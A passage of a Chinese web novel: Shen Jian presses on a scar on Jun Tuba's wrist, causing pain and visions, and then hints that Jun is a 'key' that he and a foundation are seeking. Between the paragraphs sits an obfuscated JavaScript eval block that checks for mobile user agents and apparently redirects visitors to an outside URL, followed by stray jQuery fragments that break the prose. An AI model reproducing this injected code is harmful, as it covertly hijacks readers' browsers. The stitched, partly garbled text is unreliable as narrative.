“墨迹会变化。纸张的反应也不正常。”君荼白说完就后悔了,他不该说这些,这听起来像疯话。
但沈鉴没有笑。他反而走近一步,压低声音:“怎么变化?”
“遇湿会重组。会出现新的字。”君荼白听见自己的声音在说,像不受控制,“还有……会对应人体的位置。”
“人体的位置?”沈鉴的眼神变了,混着一种兴奋,“比如?”
君荼白没有说话。他抬起左手,指了指自己的手腕。
沈鉴的目光落在那道月牙痕上。然后,他做了一个让君荼白完全没有预料到的动作。
他伸出手,握住了君荼白的手腕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17052000|194818||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
手指很凉。力道不大,但完全禁锢。
“这里?”沈鉴的拇指按在月牙痕的中心,用力向下压。
剧痛。
那种来自骨头深处,像有无数根细针顺着骨髓往上爬,一路扎进大脑。君荼白闷哼一声,想抽回手,但沈鉴握得很紧。
“疼?”沈鉴问,声音很轻,眼睛盯着君荼白瞬间苍白的脸。
“放手。”
“告诉我,怎么个疼法。”沈鉴的拇指又按了一下,这一次更用力,“是表皮疼,还是骨头疼?是持续性的,还是脉冲式的?疼的时候,会不会看见什么?听见什么?”
君荼白咬紧牙关,冷汗从额角滑下来。疼痛让视野边缘开始发黑,耳边响起尖锐的鸣叫,混着一些破碎的声音:
“……标记要深……深到忘不掉……”
“……疼就对了……疼才记得住……”
“……这里是门……也是锁……”
“放手!”君荼白猛地抽回手,踉跄着后退,撞在工作台上。工具哗啦掉了一地。
沈鉴站在原地,看着自己空掉的手,又看向君荼白。他的表情很奇怪——没有歉意,没有惊讶,就像完成验证了某个假设的任务一样。
“抱歉。”他说,语气里听不出抱歉,“我只是想确认一些事。”
“确认什么?”君荼白喘息着,左手腕还在突突地跳痛。
沈鉴没有直接回答。他弯腰,捡起掉在地上的几样工具,放回工作台。然后从白大褂口袋里掏出一小管药膏,放在桌上。
“涂在手腕上。能缓解疼痛。”他说,“配方是基金会实验室特制的,对……这种旧伤很有效。”
君荼白盯着那管药膏。纯白色,没有任何标签。
“你早就知道我这里会疼。你到底是什么人。”他说,不是疑问句。
沈鉴沉默了几秒。
“我确实知道很多事。”他最后说,声音恢复了那种公事公办的冷感,“包括这本古籍为什么会对你有反应。包括为什么你每周三会去那家咖啡馆。包括为什么陆予瞻会接近你,周屹会守着你。”
他每说一句,君荼白的呼吸就紧一分。
“为什么?”他听见自己问,声音干涩。
沈鉴看着他,那双妖冶的眼睛在日光灯下显得格外深邃。
“因为你是一把钥匙。一把被折断过、又强行拼起来的钥匙。而我们在找的,是那扇门。”
“